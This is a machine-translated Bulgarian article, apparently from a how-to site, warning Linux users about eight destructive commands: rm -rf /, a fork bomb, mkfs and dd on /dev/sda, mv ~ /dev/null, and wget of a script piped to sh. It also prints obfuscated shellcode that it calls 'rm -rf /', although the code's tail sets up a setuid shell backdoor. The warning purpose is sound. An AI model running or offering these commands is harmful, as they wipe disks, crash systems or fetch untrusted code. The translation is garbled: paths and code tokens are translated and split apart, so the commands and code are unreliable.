If-Koubou

8 Смъртоносни команди никога не трябва да се изпълнявате на Linux

8 Смъртоносни команди никога не трябва да се изпълнявате на Linux (Как да)

Терминалните команди на Linux са мощни и Linux няма да ви попита за потвърждение, ако изпълните команда, която ще наруши вашата система. Не е необичайно да виждате троловете онлайн, препоръчвайки на новите потребители на Linux да изпълняват тези команди като шега.

Изучаването на командите, които не бива да се изпълнява, може да ви помогне да се предпазите от троловете, като същевременно увеличите разбирането си за това, как Linux работи. Това не е изчерпателно ръководство, а командите тук могат да бъдат ремиксирани по различни начини.

Имайте предвид, че много от тези команди ще бъдат опасни, само ако са с префикс Sudo на Ubuntu - те няма да работят по друг начин. На други Linux дистрибуции повечето команди трябва да се изпълняват като root.

Image Credit: Череп и Crossbones ремиксират от Джейсън Форд на Twitter

rm -rf / - изтрива всичко!

Командата rm -rf / изтрива всичко възможно, включително файлове на твърдия ви диск и файлове на свързани сменяеми носители. Тази команда е по-разбираема, ако е разбита:

RM - Премахнете следните файлове.

-rf - Run rm рекурсивно (изтриване на всички файлове и папки вътре в посочената папка) и сила-премахване на всички файлове без да ви подканя.

/ - Показва на РМ да започне в основната директория, която съдържа всички файлове на компютъра ви и всички монтирани медийни устройства, включително отдалечени файлове и сменяеми устройства.

Linux ще се подчини щастливо на тази команда и ще изтрие всичко, без да ви подтиква, така че бъдете внимателни, когато го използвате! Командата rm може да се използва и по други опасни начини - rm -rf ~ ще изтрие всички файлове в домашната ви папка, докато rm -rf. * ще изтрие всичките ви конфигурационни файлове.

Урокът: Обърнете внимание на rm -rf.

Прикрито rm -rf /

Ето още един фрагмент от код, който е в цялата мрежа:

char esp [] __attribute__ ((раздел ("текст"))) / * e.s.p
освобождаване * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99"
"\ XDF \ X81 \ x68 \ x8d \ X92 \ XDF \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ x83 \ xc4 \ X74 \ X56"
"\ X8d \ x73 \ x08 \ X56 \ X53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ X62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ X2d \ x63 \ x00"
"Cp -p / bin / sh /tmp/. chmod 4755
/tmp/.beyond; "

Това е шестнадесетичната версия на rm -rf / - изпълнението на тази команда ще изтрие вашите файлове, сякаш сте изпълнявали rm -rf /.

Урокът: Не работете странно изглеждащи, очевидно прикрити команди, които не разбирате.

: () : |: & ;: - Въртяща бомба

Следващият ред е простичко изглеждаща, но опасна бас функция:

:() :|: & ;:

Тази къса линия определя функция на черупки, която създава нови копия на себе си. Процесът непрекъснато се възпроизвежда и копията му непрекъснато се възпроизвеждат, като бързо поемат цялото време и памет на процесора ви. Това може да доведе до замръзване на компютъра ви. Това е основно атака на отказ от услуга.

Урокът: Баските функции са мощни, дори и много къси.

Image Credit: Dake в Wikimedia Commons

mkfs.ext4 / dev / sda1 - Форматиране на твърд диск

Най- mkfs.ext4 / dev / sda1командата е лесна за разбиране:

mkfs.ext4 - Създайте нова файлова система ext4 на следното устройство.

/ Сътрудничество / sda1 - Указва първия дял на първия твърд диск, който вероятно е в употреба.

Взети заедно, тази команда може да бъде еквивалентна на стартиращия формат c: в Windows - тя ще изтрие файловете на първия ви дял и ще ги замени с нова файлова система.

Тази команда може да дойде и в други форми - mkfs.ext3 / dev / sdb2 ще форматира втория дял на втория твърд диск с файловата система ext3.

Урокът: Внимавайте да стартирате команди директно на устройства с твърд диск, които започват с / dev / sd.

command> / dev / sda - Писане директно на твърд диск

Най- команда> / dev / sda line работи по същия начин - изпълнява команда и изпраща изхода на тази команда директно на първия ви твърд диск, записвайки данните директно на твърдия диск и увреждайки вашата файлова система.

команда - изпълнява команда (може да бъде команда.)

> - Изпратете изхода на командата до следното местоположение.

/ Сътрудничество / SDA - Напишете изхода на командата директно на устройството с твърд диск.

Урокът: Както по-горе, внимавайте да изпълнявате команди, включващи устройства с твърд диск, започващи с / dev / sd.

dd if = / dev / random of = / dev / sda - Записва ненужното на твърд диск

Най- dd ако = / dev / случаен на = / dev / sda линията също ще заличи данните на един от вашите твърди дискове.

дд - Извършвайте копиране на ниско ниво от едно място на друго.

ако = / сътрудничество / случайна - Използвайте / dev / random (произволни данни) като вход - може да видите и местоположения като / dev / zero (нули).

на = / Dev / SDA - Изход към първия твърд диск, замествайки неговата файлова система с произволни данни за боклука.

Урокът: dd копира данни от едно място на друго, което може да бъде опасно, ако копирате директно на устройство.

Image Credit: Мат Рудж на Flickr

mv ~ / dev / null - Премества Вашия домашен указател в черна дупка

/ dev / null е друго специално място - придвижването на нещо до / dev / null е същото като унищожаването му. Помислете за / dev / null като черна дупка. По същество, mv ~ / dev / null изпраща всички лични файлове в черна дупка.

MV - Преместете следния файл или директория на друго място.

~ - Представлява цялата ви домашна папка.

/ Сътрудничество / нула - Преместете домашната си папка в / dev / null, унищожавайки всичките си файлове и изтривате оригиналните копия.

Урокът: Характерът ~ представлява вашата домашна папка и движението на нещата / dev / null ги унищожава.

wget http://example.com/something -O - | sh - Изтегля и изпълнява скрипт

Горният ред изтегля скрипт от мрежата и го изпраща на sh, който изпълнява съдържанието на скрипта. Това може да е опасно, ако не сте сигурни какво е скриптът или ако не вярвате на неговия източник - не пускайте скрити скриптове.

Wget - Изтегля файл. (Може да видите също и къдряне вместо wget.)

http://example.com/something - Изтеглете файла от това място.

| - Изпратете изхода на командата wget (изтегления файл) директно в друга команда.

од - Изпратете файла на командата sh, която го изпълнява, ако е скрипт bash.

Урокът: Не изтегляйте и изпълнявайте неверен скриптове от мрежата, дори и с команда.

Знаете ли други опасни команди, които новите (и опитни) потребители на Linux не трябва да се изпълняват? Оставете коментар и го споделете!